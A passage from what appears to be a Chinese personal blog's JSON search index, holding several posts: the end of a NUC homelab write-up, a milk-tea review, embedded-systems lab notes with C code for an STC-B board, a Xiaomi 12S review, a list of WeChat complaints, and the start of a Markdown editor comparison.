Server在内测，通过后就可以在vscode.dev里直接连接开发机器了，但我并没有通过内测。很幸运的是微软提供了一种不需资格的运行方式，只需加上 --serve-local 参数，就可以在本地机器浏览器中运行， 再加一个反代，就可以让Tailscale内网中的远程机器连接了。\n需要注意：VS Code Server不是开源 / 自由软件，有自己的协议。将VS Code Server暴露到公网上是违反许可协议的。\n同样的，也建议创建一个sysetmd服务来保持其后台运行。\n两个方法都占用很大，占用内存可能达到2G左右，CPU负载也很高，因为所有language server的parsing等操作都是在这台NUC上进行的。但不管是上述两种方法中的哪一种，都可以在平板上码代码了，并且得到很舒服的延迟与比我自己公网上服务器高得多的性能。\n照片 请见：\nhttps://cyp0633.icu/archives/2093\n数据保护 如果你使用的也是Btrfs文件系统，且对数据安全没有那么高的要求，那么可以参考这篇文章。\nhttps://cyp0633.icu/archives/2120\n此篇文章首个版本约有四分之三通过NUC的远程桌面写成。它作为没那么多预算的我买的入门Homelab，经过这一段时间的使用，已经证明了能够胜任目前的需求，性价比目前看还算不错。\nhttps://techcommunity.microsoft.com/t5/storage-at-microsoft/accessing-a-third-party-nas-with-smb-in-windows-11-24h2-may-fail/ba-p/4154300\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"September 26, 2022","matchCount":0,"permalink":"/post/nuc-homelab/","preview":"","title":"刚刚好：我的 Atlas Canyon NUC 与低配 \"Homelab\""},{"content":"既然在长沙上大学，又怎么能不喝茶颜悦色？\n可能持续更新，评价仅限喝到的那杯。\n幽兰拿铁 推荐\n名声在外，不多说，能代表茶颜的水平，带奶油的款选它不会错。\n三季虫 较为推荐\n有点类似于幽兰拿铁，但总感觉味道更好一点。比幽兰拿铁贵一块钱，看如何取舍。\n绿肥红瘦 很推荐\n高性价比的稳当之选。12块钱几乎是店里正经奶茶的最低价，就能品尝到”期望中的茶颜味道“——不过，有点偏甜。\n花木兰 很推荐\n茶味浓郁，个人喜欢少糖，茶的味道更加显著，但第一次尝试最好还是标准糖。最大的缺点是店里一般都要等。\n栀子生椰 不推荐\n椰汁的味道和栀子花香混在一起的味道很奇怪，不知道是哪根筋搭错了才研发出这种产品。\n三季生椰 较为推荐\n没有奶油，没有坚果，“三季”名字很让人迷惑。但味道来说还算正常，偏一点甜。注意无法去冰。\n少年气 很不推荐\n好像是21年夏季限定版。跳跳糖和奶油的组合非常怪，简直黑暗料理。\n抹茶葡提 - 绿茶版 一般\n很浓的抹茶味，发涩发苦，标准糖也压不住。如果不是很喜欢抹茶，建议不要尝试。\n生椰玛丽颜 推荐\n味道还是可以的，毕竟椰奶和咖啡的组合早就由友商证明了可用（笑），喝起来也和生椰拿铁很接近。奶沫嘛还是椰奶产品的老样子，比不上牛奶。只不过这个放到茶颜的店里似乎不太合适，既然做了新品牌，不如就放到鸳央咖啡里面去。毕竟，谁愿意为了喝个咖啡排几十分钟的队呢？\n算是茶颜版的生椰拿铁，但风格很不茶颜。\n辣不怕 不推荐\n爱吃辣的和爱喝奶茶的都沉默了\n茶颜官方公众号\n茶颜黑暗料理又掀开了新的篇章，亏公众号小编还有点自知之明。在茶里添加桂子油（官方说法），会让茶汤变得有些腻，虽不会喧宾夺主，但也可以说很不对味。倒是顶上撒的辣椒脆挺好吃的。辣的话其实只有辣椒脆有点辣味，但我觉得绝大部分人都能接受。\n另：桂子油也是槟榔的原料，果然啊，湖南人的阴谋。\n岭南佳荔 很推荐\n荔枝的味道算是一种不错的点缀。\n不推荐”岭南丹荔“习惯茶，味道完全不是一回事。\n嫌弃 一般\n没啥感觉，谈不上好喝也谈不上难喝。建议加标准糖来掩盖涩味。\n花旦 较推荐\n茶味浓，但浓不过花木兰，没必要非得标准糖。个人感觉能撑得起和幽兰拿铁同样的价格。味道其实挺好，好就好在特么的喝完两点还睡不着觉。\n哦对了，正经人谁买辣椒顶啊，当然是碧根果。\n藏不住的 较推荐\n可买，不坑。花香对于茶香是很好的点缀。建议少糖，花香更浓郁。\n栀晓 较推荐\n抹茶味确实是一种点缀，如果没有尝试过，建议正常糖。\n三层被 较不推荐\n虽说加了姜粉，但没有我想象当中那么重的喝姜汤的感觉。当然总体上个人还是不喜欢，对于能接受姜汤的，也建议不要少于标准糖。\n白玉兰（2022） 推荐\n_上市第一天评价，中途更换过配方，仅供参考。_略有点苦味儿，有点儿容忍度的话我会觉得不错。\n筝筝纸鸢 推荐\n口感比较清凉。\n少年生椰 较为推荐（乳糖不耐受者）/一般（其他人）\n可能是椰奶产品线中我觉得处理得较好的一个了，但没有牛奶还是没内味，泡沫也还是散得快。对于可以接受乳糖的人，我当然更推荐少年时。\n有龙则灵 很推荐\n给了我一种花木兰的感觉，茶味在口中能留很长时间。可惜这玩意似乎很快就要下架了。\n白玉兰（2024） 推荐\n简直和之前拿个白玉兰没什么关系了，只有甜味和清香。\n不识炉山真面目 一般\n烤红薯味道简直鬼才，倒是个不错的尝试。但是20块钱，太贵了。\n衔春燕/桂酿秋/桃花坞 不推荐/较推荐/较推荐\n三款奶盖茶放到一起说。这三者最大的差别其实是茶底。奶盖相对于之前的奶油+奶沫更难搅下去，这使得用吸管喝到的基本是清茶汤，而以奶茶的标准，衔春燕的茶底需要多一点糖才好喝，另两款则可以放心选择少糖，所以前者我给了一个不推荐。毕竟谁喝奶茶会主要追求茶本身的味道呢，这种人怎么不去小神闲茶馆（暴论）\n另外，不能做去冰在我这里也是减分项。既然都现做现取现喝了，我觉得去冰口感也不会差多少。\n春来鸟不惊 较推荐\n衔春燕的借尸还魂作品，同样的茶底换了个“涓滴山丘”做法。茶当然是老样子，但考虑到可以这个奶油顶可以搅下去混在一起，最后混合的味道还是不错的。\n","date":"August 28, 2022","matchCount":0,"permalink":"/post/sexytea-review/","preview":"","title":"纯主观的茶颜悦色评测"},{"content":"题目与BSP版权属于学校，代码请见 https://git.cyp0633.icu/cyp0633/eecs-bsp-test-code-2，遵循GPLv3协议。\n1. 串口1收发 计算机上利用串口助手，设置串口参数：“2400，8，N，1”（即：波特率2400bps，8个数据位。无奇偶校验位，一个停止位），顺序发送10字节的HEX数据到STC-B板，STC-B板将接收到的10字节数据再以倒序方式经串口1发送回计算机。\n引入串口1使用的头文件 uart1.h，初始化传递波特率2400作为参数。然后设定接收条件，接收缓冲区指向一个空的大小为10的字符数组，匹配字符串指向一个空指针，设置字符串长度为0，字符串长度为0。并设置回调函数，当读取到符合上述条件的串口1数据包时，调用 sendBack 函数。\nc 复制代码 void sendBack() { char temp; int i; for(i=0;i\u0026lt;5;i\u0026#43;\u0026#43;) { temp=buffer[i]; buffer[i]=buffer[9-i]; buffer[9-i]=temp; } Uart1Print(buffer,10); } 1 2 3 4 5 6 7 8 9 10 11 12 void sendBack() { char temp; int i; for(i=0;i\u0026lt;5;i++) { temp=buffer[i]; buffer[i]=buffer[9-i]; buffer[9-i]=temp; } Uart1Print(buffer,10); } 大致就是将 buffer 中的字符串首尾调换，然后通过串口1重新发回。\n2. 串口2通信 两块STC-B板1和2通过串口2连接（485接口上：A、B、GND，或EXT上：P1.0（RXD）、P1.1（TXD）、GND），设置串口2参数：“1200，8，N，1”。STC板1往STC板2发送5字节数据，STC板2接收数据，计算它们的累加和，并将累加和的低8位通过LED灯显示，验证结果是否正确？（STC-B板1需多换几组数据验证）。\n发送端 使用 Uart2Init 函数初始化串口2，设定RS485，波特率1200，设置每1s调用回调函数 sendData。\n在 sendData 中，通过一个countdown全局变量设定每10s发送一次buffer中的内容（1、3、5、7、9），并将里面的每个数递增1（溢出时设为0x1）。\n接收端 初始化串口2，波特率1200，初始化屏幕，并设置串口2接收缓冲区和回调函数，类似于题1。\n在回调函数中使用一个for循环计算累加和，并将其与0xff的计算结果传入 LedPrint 显示在LED上。\n3. 红外无线通信 与第2题的操作一致，仅两块STC-B板通信方式选用IR红外无线连接（而不是串口2）。注意：同一房间内，同时开启红外通信可能会互相干扰。\n发送端 头文件引入红外，使用 IrInit 初始化红外为NEC格式，每1s设置调用回调函数。\n回调函数内容与题2发送端类似，但考虑到红外特性将发送延迟设置为3s。\n接收端 使用 IrInit 初始化红外为NEC格式，使用 SetIrRxd 指定缓冲区，然后设置收到数据包的回调函数。\n在回调函数中行为类似于题2的接收端。\n4. 实时时钟 初始化DS1302实时时钟芯片，并将其 “时分秒” 信息以 “时时—分分—秒秒” 格式显示在数码管上。然后验证 “STC-B学习板” 上的实时时钟在断电后，其时钟靠板上的纽扣电池仍能正常走时。\nc 复制代码 struct_DS1302_RTC time, temp; unsigned char display[8]; void changeClock() { temp = RTC_Read(); display[0] = temp.second \u0026amp; 0x0f; display[1] = (temp.second\u0026gt;\u0026gt; 4) \u0026amp; 0x0f; display[2] = temp.minute \u0026amp; 0x0f; display[3] = (temp.minute\u0026gt;\u0026gt; 4) \u0026amp; 0x0f; display[4] = temp.hour \u0026amp; 0x0f; display[5] = (temp.hour\u0026gt;\u0026gt; 4) \u0026amp; 0x0f; display[6] = temp.day \u0026amp; 0x0f; display[7] = (temp.day\u0026gt;\u0026gt; 4) \u0026amp; 0x0f; Seg7Print(display[7], display[6], display[5], display[4], display[3], display[2], display[1], display[0]); } void main() { time.year = 0x22; time.day = 0x22; time.month = 0x8; time.hour = 0x15; time.minute = 0x33; time.second = 0x22; DS1302Init(time); DisplayerInit(); SetDisplayerArea(0, 7); LedPrint(0); SetEventCallBack(enumEventSys10mS, changeClock); MySTC_Init(); while (1) { MySTC_OS(); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 struct_DS1302_RTC time, temp; unsigned char display[8]; void changeClock() { temp = RTC_Read(); display[0] = temp.second \u0026amp; 0x0f; display[1] = (temp.second\u0026gt;\u0026gt; 4) \u0026amp; 0x0f; display[2] = temp.minute \u0026amp; 0x0f; display[3] = (temp.minute\u0026gt;\u0026gt; 4) \u0026amp; 0x0f; display[4] = temp.hour \u0026amp; 0x0f; display[5] = (temp.hour\u0026gt;\u0026gt; 4) \u0026amp; 0x0f; display[6] = temp.day \u0026amp; 0x0f; display[7] = (temp.day\u0026gt;\u0026gt; 4) \u0026amp; 0x0f; Seg7Print(display[7], display[6], display[5], display[4], display[3], display[2], display[1], display[0]); } void main() { time.year = 0x22; time.day = 0x22; time.month = 0x8; time.hour = 0x15; time.minute = 0x33; time.second = 0x22; DS1302Init(time); DisplayerInit(); SetDisplayerArea(0, 7); LedPrint(0); SetEventCallBack(enumEventSys10mS, changeClock); MySTC_Init(); while (1) { MySTC_OS(); } } 5. 非易失存储 数据可以在掉电情况下保留在非易失存储器（M24C02或DS1302）中的某个单元上。设计一段小程序：上电后，读取出非易失存储内某个单元数据，并将其值显示在LED灯上，再将这个数据 + 1后写回这个单元。分析这样的程序，如果拔插 “STC—B学习板” 电源（或按板上 “RST” 复位按键），会出现什么现象？（说明：DS1302需要靠纽扣电池才能在掉电时保存数据）\n初始化NVM后使用 NVM_Read 读取0x05处的值作为初始值，并显示在LED上。如果值为0xf，则重置为0，否则将值自增1后写回0x05。这样的步骤在每次重置后都会进行，就实现了自增的效果。\n6. 收音机 初始化启用FM_radio模块。收音机参数设定为91.8MHz，音量6。PHONE接口上插上耳机验证是否正确收到电台？\n初始化一个 struct_FMRadio 结构体，设置频率918，音量6，三个GP都为0，然后传递给 FMRadioInit 函数。\n7. 音乐播放器 用Music模块提供的API实现播放一段音乐。\n使用 SetMusic 指定节拍、音调、乐谱数据、乐谱大小（用 sizeof 得到）以及显示方式，然后使用 SetPlayerMode 开始播放。\n代码存放于 https://git.cyp0633.icu/cyp0633/eecs-bsp-test-code/src/branch/master/music2。\n8. 温度值计算 10位精度采集热敏电阻ADC值，编写程序（查表、或线性插值方法等）换算出正确温度值，并在数码管显示出来。热敏电阻参数10K/3950，（具体见 “案例测试” 中提供的参考资料。可设有效换算温度范围 - 5°C～+85°C）。\n从其他示例程序找到了一个8位采样值到温度的的换算表：\nc 复制代码 int code tempdata[] = {239, 197, 175, 160, 150, 142, 135, 129, 124, 120, 116, 113, 109, 107, 104, 101, 99, 97, 95, 93, 91, 90, 88, 86, 85, 84, 82, 81, 80, 78, 77, 76, 75, 74, 73, 72, 71, 70, 69, 68, 67, 67, 66, 65, 64, 63, 63, 62, 61, 61, 60, 59, 58, 58, 57, 57, 56, 55, 55, 54, 54, 53, 52, 52, 51, 51, 50, 50, 49, 49, 48, 48, 47, 47, 46, 46, 45, 45, 44, 44, 43, 43, 42, 42, 41, 41, 41, 40, 40, 39, 39, 38, 38, 38, 37, 37, 36, 36, 36, 35, 35, 34, 34, 34, 33, 33, 32, 32, 32, 31, 31, 31, 30, 30, 29, 29, 29, 28, 28, 28, 27, 27, 27, 26, 26, 26, 25, 25, 24, 24, 24, 23, 23, 23, 22, 22, 22, 21, 21, 21, 20, 20, 20, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 5, 5, 54, 4, 3, 3, 3, 2, 2, 1, 1, 1, 0, 0, -1, -1, -1, -2, -2, -3, -3, -4, -4, -5, -5, -6, -6, -7, -7, -8, -8, -9, -9, -10, -10, -11, -11, -12, -13, -13, -14, -14, -15, -16, -16, -17, -18, -19, -19, -20, -21, -22, -23, -24, -25, -26, -27, -28, -29, -30, -32, -33, -35, -36, -38, -40, -43, -46, -50, -55, -63, 361}; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int code tempdata[] = {239, 197, 175, 160, 150, 142, 135, 129, 124, 120, 116, 113, 109, 107, 104, 101, 99, 97, 95, 93, 91, 90, 88, 86, 85, 84, 82, 81, 80, 78, 77, 76, 75, 74, 73, 72, 71, 70, 69, 68, 67, 67, 66, 65, 64, 63, 63, 62, 61, 61, 60, 59, 58, 58, 57, 57, 56, 55, 55, 54, 54, 53, 52, 52, 51, 51, 50, 50, 49, 49, 48, 48, 47, 47, 46, 46, 45, 45, 44, 44, 43, 43, 42, 42, 41, 41, 41, 40, 40, 39, 39, 38, 38, 38, 37, 37, 36, 36, 36, 35, 35, 34, 34, 34, 33, 33, 32, 32, 32, 31, 31, 31, 30, 30, 29, 29, 29, 28, 28, 28, 27, 27, 27, 26, 26, 26, 25, 25, 24, 24, 24, 23, 23, 23, 22, 22, 22, 21, 21, 21, 20, 20, 20, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 5, 5, 54, 4, 3, 3, 3, 2, 2, 1, 1, 1, 0, 0, -1, -1, -1, -2, -2, -3, -3, -4, -4, -5, -5, -6, -6, -7, -7, -8, -8, -9, -9, -10, -10, -11, -11, -12, -13, -13, -14, -14, -15, -16, -16, -17, -18, -19, -19, -20, -21, -22, -23, -24, -25, -26, -27, -28, -29, -30, -32, -33, -35, -36, -38, -40, -43, -46, -50, -55, -63, 361}; 使用 ADCexpEXT 初始化ADC，并初始化屏幕。每10ms回调calcTemp函数。\n在calcTemp中，将10位取样右移2位变为8位，计算100次取样的累加和，并取平均值。将换算表中平均采样值的对应值显示在数码管上。\n9. 扩展模板 外设模块中超声波、编码器、电子尺… 选取一个，能在数码管上显示相应物理量数值。\n引入扩展模块头文件，使用 EXTInit 初始化超声波模块，初始化屏幕，设置10ms回调 showDist 函数。\n使用 GetUltraSonic 获得超声波传感器的读数，将每位分出来显示在数码管上。\n10. 直流电机 设计简单程序段，用两组参数（“50% 速度、正转”，和 “30% 速度、反转”）分别设置直流电机，并接上直流电机观察不同参数时电机转动情况。\n设一个状态变量，按Key 1后更改其值，并输出另一种PWM信号。正转50% 使用 SetPWM(0, 0, 50, 500);，反转30% 使用 SetPWM(50, 300, 0, 0);。\n","date":"August 24, 2022","matchCount":0,"permalink":"/post/eecs-bsp-training/","preview":"","title":"HNU 电子实训 BSP 模块应用训练笔记"},{"content":" 我还有的选吗？\n当友人谈及为什么是小米12S的时候，我如是说。\n前一段时间为了给小米10 Pro换电池，曾换上iPhone 7用了将近一个周。当我的手包围它小巧的机身的时候，我就知道下一部不会再是75mm宽的 “巨屏” 机。\n所幸，2022年对于小屏党是幸运的一年，摆在我们面前的有iPhone 13系列、小米12/12S/12X、三星S22、索尼Xperia 5 III、魅族18s，还有华硕的Zenfone 9。但在排除掉火龙和不能自由解bl锁的机器后，结合日用体验，最后只剩下了小米12S/X。\n很快啊，我便搞到了一台12S。在这里长话短说，它作为小屏旗舰的妥协符合我的期望。\n以下体验基于的系统版本：MIUI稳定版13.0.7、13.0.14、13.0.16，开发版13.0.0.1.59\n对比使用的小米10 Pro系统版本13.0.6.1.47，可能存在硬件老化和厂商削弱，并不能代表巅峰水平\n设计 真™爽！\n要说手机，首先得在手里握着舒服才叫手机；张牙舞爪的性能旗舰，虽具有持续的满血输出，但对我来说，尺寸注定了它并不是一部优秀的日常用机。而72mm的厚度对我来说则是正合适。\n个人认为外观已经是今年的颜值担当之一了，12S加入的白色则是锦上添花，和仿佛挖走了小米设计师的诸位友商形成了鲜明的对比。当然这个归根结底还是很个人的东西。但听筒我要吹一吹，正面几乎看不到它的存在，通话质量也未因此受到影响，很神奇（好吧是我孤陋寡闻了）。\n手感自不必说，小拇指就此基本解放了，打字的大拇指也可以轻而易举地够到最左边的虚拟键，裤兜也不必塞得满满当当。小屏的手感，一试便知。\n做工明显比10 Pro更加精细，不再出现后盖与边框间有个大缝的情况，整体感更强了。但可能为了留足机身空间以做大电池，两边的弧并不是很大。\n性能 日常够用，但骁龙8 + 不是神。\n在稍显保守的调教下，骁龙8 + 终于在 一些方面 贴近了Apple A芯片的体验：强劲的峰值性能保证了应用打开时的速度，而其他时候不算激进，让耗电与发热保持在一个合理的水平（at国内毒瘤应用）。日常室内使用可以控制在35-38度，比10 Pro凉一点。\n然而到了游戏这类需要持续输出性能的情况，体验并不尽如人意。对于崩坏3等负载极高的游戏，系统默认降画质运行，游戏内画质设置直接无效；即使在这种情况下，开启最高特效 + 90帧，仍然会在较短的时间内达到烫手的温度。当然也不是说体验不如10 Pro，毕竟更多的发热换来了肉眼可见更稳定更高的帧率。如果要控制发热，可能需要使用游戏加速GPU面板和游戏内画质设置同时调整。\n电量管理 慢！\n这个慢有两层含义：（作为一部2022年的4000元机型）充电慢，耗电也慢。\n对于有线充，有概率触发匪夷所思的40度降功率，然后几乎全程保持30W，直到显示100%，实际输入还有7W左右。至于在总充电时间上战胜当前版本10 Pro的 “良方”，则是百试百灵的…… 拉涓流和UI充满。不过这也是符合我预期的，毕竟小屏机的散热也没法说什么。传统的改温控提高温度墙的办法仍然管用，但仅仅整体提高2度可能并不能很好地提升功率，徒增发热罢了。\n还没完，上面只是息屏场景；而亮屏场景功率更会急剧下降，降到夸张的5-10W。我甚至怀疑，负载稍大的情况就会完全充不进电。\n目前还有个恼人的bug并未被修复：使用非原装（MDY-12-EF）充电套装，虽能握手高功率快充，但功率会维持在10W左右。即使是小米自家的充电头也不能幸免（测试过AD651P和紫米33W氮化镓，社区中还有人反映100W车充）。\n以下是25度室温、AD651P充电头、5A C2C线使用Scene测量的曲线（软件测量仅供参考）。前一小段温度下降、电量增长缓慢的过程，就是触发了上面的bug。\n而无线充可能比较依赖充电座。使用AD651P、5A C2C线和80W充电座，正常握手50W Max，表现如下：\n很匪夷所思对吧，还有更震惊的，那就是耗电。夜间耗电能控制在3-5%，而在WiFi、双卡4G、120Hz的室内环境下，亮屏时间能达到惊人的8小时——而同样4500mAh的10 Pro则稳定在5小时出头。在室外也能保证满电综合7小时左右使用——这可是长沙40度的室外。\n屏幕 显示效果垃圾，调度更垃圾。\n稍稍倾斜就发绿；不能同开高刷和全亮度DC；低亮度下还偏色，灰色直接变成全黑——作为屏幕本身的角度，我不得不称它垃圾。\n但本着又不是不能用的原则，国货能达到这个水平也还行，更何况在小尺寸的加成下清晰度相对来说也比较好了，并不需要所谓的 “1.5K”。\n在系统的调度方面，有一点是完全无法忍受的：电池40度左右就会降亮度，42度再降一次。而在夏季的长沙，电池45度是常有之事，这意味着户外基本没法看。\n通讯 快、快，还是快。\n不管是GPS搜星速度，相比10 Pro都有了很大的改善。可能是已经缓存了卫星，打开测试软件后能立即搜到20颗以上的卫星。虽 “搜到” 的卫星不能直接连上，但也比之前好了不少。\n在个别地方，4G史无前例地跑到了200Mbps，我还是很震惊的；之前在10 Pro上只测到过140Mbps（我也觉得很怪）。其他通信的发热也有所改善，双卡5G + 热点场景并不会带来显著的发热。信号只能说略好，但出电梯切4G/5G的速度快了很多。\n值得提一句的是，12/12S都使用了无线充电和NFC二合一的线圈，这意味着刷卡刷的是机身中部…… 和K20 Pro一样。\n系统 MIUI不用多说了吧。需要注意的就是8G杀后台比较猖獗，还是选购大内存版本比较好。\n不过我将游戏表现放到这里，主要是因为游戏性能是被MIUI限制的……\n《王者荣耀》训练场的表现如图，60帧很稳…… 即使画质拉满，GPU面板也一番调节，也给你锁60。平均3W的功耗倒是还算有点惊喜。\n如果说《王者荣耀》的表现其实还算可以接受，只有画质党才会难受，那么《崩坏3》的表现就难以接受了。场景是后崩坏书，间歇锁40帧，持续锁50帧，这能玩么……\n还好我不是重度游戏玩家，但我觉得这点会劝退很多人。\n影像 还算能看，也就能看。\n正经长焦当然是没有的，只能拿主摄强行拉到10倍凑合凑合这样子。\n超广角也只是属于看一眼好像还行的水平，经不起细推敲。\n主摄还算令人满意，起码走了点心去调。徕卡经典的发色风格在大部分时候还是有股德味的，但少数时候有些奇怪，整体调色偏蓝偏黑，动态范围也不足。硬要说解析力的话这颗默认12.5MP的sensor也并不占优势，只能说日常够用吧。\n上图分别是徕卡经典样张和徕卡生动样张，以及作为对照的小米10 Pro样张，均为全自动模式。10 Pro不知道犯了什么毛病，颜色寡淡整体发暗，非常的性冷淡。\n接下来是一组主摄夜景对比。\n同上，还是全自动（好吧，不用夜景模式确实不公平了）。\n这时细节相比小米10 Pro有了较大的提升。而徕卡经典和生动对暗部的处理有一定不同，前者 “不那么” 注重压高光提亮暗部，这就导致楼房暗部一片黑，灯牌则一片白，甚至有故意增强亮暗对比的效果；而后者对高光和暗部的处理堪称暴力，亮的压下来，暗的提上去，一点也不含糊。\n个人认为此处徕卡经典的处理是适得其反的，给人画面很 “脏” 的观感。也是在这个时候我意识到，还是 “数码味” 比较适合我。\n其他 振动是真的弱，也没那么脆，但仍然保留了MIUI舒适的自然触感feature。很喜欢哒哒哒的不建议购买。\n外放也是真的拉，但起码有个双扬在，算不上不能听。《渡口》的表现远差于小米10 Pro的顶级外放，蔡琴的声音有种塑料感，乐器也没有那么强的层次感。声音大小还行。\n那既然它有这么多缺点，我又如何称它为一部找回了乐趣的手机呢？\n在成天吵着要旗舰SoC、最快的内存和闪存、超高速快充，以及超大底多主摄的参数党之外，还有更多的一群人，并不那么关心参数，也不想要厚砖机，他们想要的只是一部日常用起来趁手的机器，而小米12S则能够很好地满足这部分人的需求。当然其实这样子也是不太能满足我的需求的（尤其影像部分），但奈何我实在是太爱小屏机了，大大小小的取舍也就成了不得已的选择。但毕竟不是所有人都和我需求一样，所以各位会看到一个主观倾向如此强烈的标题，但似乎正文中的情感倾向并没有那么大。\n说人话，那就是满足以下越多条件，就越适合小米12S：\n需要小一点的机身尺寸（主要是宽度） 需要高一些的性能（否则建议12X）但又 不需要 持续输出 需要大体观感还可以的照片但不要求太强的细节或是变焦 需要一个较好的本地化系统（MIUI现在用起来可舒服了） 需要且 仅需要 一块过得去的屏幕（或者有国产情结） 需要比三星快点就行的充电，以及较好的续航和无线充 其中如果你非小屏不买，即使这部手机不降价，也是非常好的选择。\n小米为它起了 \u0026ldquo;mayfly\u0026rdquo;（蜉蝣）这个机型代号，只能希望这一台少见的均衡小屏旗舰，不会真的像蜉蝣一般短命吧。\n","date":"August 4, 2022","matchCount":0,"permalink":"/post/xiaomi-12s-review/","preview":"","title":"用上了小米 12S，我找回了 '手机' 该有的乐趣"},{"content":"此篇文章用于整理网络上对微信的各类吐槽。\n意料之外的访问链接：发现在微信发的每一个链接都会被腾讯访问一下\n开发资源恶意涨价：微信正在恶意涨价，影响数百万开发者\n篡改无关文件：微信你为什么要改我 Linux 系统文件？\n折叠消息：张小龙是真有点毛病，一个单号而已，你这么显示是大过年没事找事？\n过度压缩视频：使用微信的文件功能发送一个 DCI 60fps 30Mbps 的视频会被压缩成什么样？\n原视频占用空间却有垃圾画质：猜测是，微信先把群里发的视频缓存到电脑，然后在电脑上压一个低清晰度的视频展示给用户，原始视频不仅看不到，七天后还会通知你 “过期”，但是却一直占着硬盘空间。\n响应速度慢：打开 PC 端微信比打开个 IDEA 还要卡，是真的厉害\n收取消息等待较久：这破微信，更新后每次打开，一直在 “连接中” 转圈圈，其他软件联网就没问题，微信这辣鸡就这德性！\n后台占用内存大：微信这后台占用太离谱了，6G 内存完全顶不住，后台挂着微信基本就挂不住其他软件了\n身份验证逻辑缺陷：微信让验证身份，可是手机号后两位都一样啊，怎么选\n文件管理反人类：微信 PC 版悄悄改了文件接收位置，大量用户吐槽 “路径太奇葩”\nPC版随意写日志：以前别人说微信的架构烂我不信，现在我信了！\n读取无关文件：PC 上的文件 继 QQ 后, 微信也开始读了\nHDR区别对待：广告有 HDR，用户自己上传就是灰蒙蒙一片\n聊天记录占用大量空间，难以清理：电脑端最神奇的就是，即使通过微信忍痛删除了一些聊天记录，微信整体占用空间依然丝毫不变\nPC版重复存储头像：真的……………\n","date":"July 20, 2022","matchCount":0,"permalink":"/post/wechat-bullsxxt/","preview":"","title":"为什么微信是垃圾"},{"content":"我在 横评的上篇 中，对将近20款编辑器进行了一个初步的探索，然而这种 “快速过一遍，凭主观印象” 的方式不甚准确，故制定一些标准，来对它们进行一个更客观（但也免不了主观因素）的评价。\n此部分横评覆盖了上篇中的所有Markdown编辑器——除了Microsoft Word这个来捣乱的。由于时间原因，测试项难免覆盖不完整，如果还有想了解的，可以在评论区留言，不过系统环境变化可能较大，不能保证结果完全可比较。\n部分测试项在以下仓库开源：\ncyp0633/markdown-benchmark\nTLDR 用一个Excel表格直观反映每项得分。没有考虑各项权重分配，并不能简单加和来得到最终结果。\n基本信息 界面设计 首先映入眼帘的就是软件的界面，一个高颜值的界面能够带来愉悦感，而设计得当的交互能够提高使用的效率。当然这方面也和个人的感觉有很大的关系。\n大部分编辑器都采用了较为简约的设计，以白色为主色调，在这方面Typora是当之无愧的标杆，主界面没有过于繁杂的元素，操作均收入顶栏，操作的分类安排也较为合理，能够很快找到想要的部分。但是也有很多编辑器简洁过了头，如Obsidian将很多常用操作都收进了右上角的菜单中，并没有很好的分类。WordMark将选项全都收进了按钮和Alt键菜单，这在macOS下可能无可厚非，但在Windows下十分别扭。VNote和Arya的编辑器界面有一定相似性，但VNote的界面看起来就更杂乱。Joplin的界面相对来说不算简洁，但很高效。\n批判一番Zettlr，按钮布置十分杂乱，学习成本极高；配色奇怪而压抑，没有设计感。不过QOwnNotes才是重量级，乱得实在用不下去。\n开源 软件开源，就意味着可以审查它的源代码来确保没有危险，对其作出自己的修改以符合自己的需求，或是为这个软件的开发完善贡献自己的力量。\n闭源软件有Typora、Obsidian、马克飞象和WordMark，而VS Code和IntelliJ IDEA只有核心部分开源。\n费用 大部分是免费的，收费的有整个收费和部分功能收费两种。目前整个收费的只有Typora，而StackEdit、IntelliJ、Obsidian和马克飞象有部分功能收费。StackEdit提供了Docker自托管的选项，同步云服务有一定困难，但导出PDF是免费功能。\nJoplin是一朵奇葩，它的同步服务器也是开源并开放自建的。\n值得注意的是，IntelliJ单作为一个Markdown编辑器的话，是免费的；而如果想获得基础Java支持之外的功能，则需要收费。\n持续更新 持续更新的能力能在一定程度上代表适配系统新特性的能力。比如Linux下，新版本Electron才对Wayland有基本的支持，考虑到Markdown编辑器大量采用Electron，这个特点也很重要。当然，很久不更新不代表表现就会差，一直会更新也不代表表现会好。\nHaroopad和WordMark的最后更新时间停在了数年前，而StackEdit和Notable也已经有一年没更新了。其余的在今年都有更新的记录。\n跨平台与云同步 桌面端跨平台 这里的桌面端跨平台，涵盖的是Linux、Windows和macOS。有几款竟然神奇地支持了FreeBSD，但鉴于用户实在太少，不强求。\n有Electron或者Qt加持的应用基本都能够正常支持跨平台，而网页端应用更不必说，凡是有浏览器的地方，就能跑起来。鉴于Windows版本一般没啥兼容性问题，笔者主要装了Linux版本试试。Notable的Linux版本有时候跑不起来，而Wordmark的Linux版遇到了经典依赖问题——装不上（当时使用的是Ubuntu 22.04）。\n另外还有一个异端Marker，仅支持Linux和FreeBSD。由于笔者没有Mac，此处也没有纳入许多Mac独占的优秀编辑器。\n移动端跨平台 这部分网页端应用大获全胜，毕竟Electron又不支持移动端。除了网页端的几个应用之外，就只有VS Code、Joplin和Obsidian做了移动端支持。Obsidian和Joplin在移动端是原生应用，而VS Code用了另一种方案：直接把应用搬上了网页（vscode.dev，或GitHub Codespaces)。\n这三款支持移动端的App一致性都做得很好。\n云存储接入 少数编辑器有自己的云存储空间，并作为增值服务售卖，如Obsidian；其他的编辑器（如StackEdit）则会依赖第三方的云存储，如OneDrive和Google Drive等。\nLetsMarkdown似乎使用了一种不同的方案。出于协作需求，它会将用户的文档默认保存至服务器。\nWordMark和StackEdit面向的是blogger，也就接入了WordPress、Medium和GitHub平台发表文章，就算它是个同步吧。\nObsidian、VS Code和IntelliJ还提供了Git插件，但鉴于不是自带Git客户端，此处不算作接入云存储。\nQOwnNotes接入了Nextcloud和ownCloud等云存储服务，对自托管的服务支持较好。\nJoplin支持官方云、自建同步服务、OneDrive等同步服务。\n编辑体验 指示功能 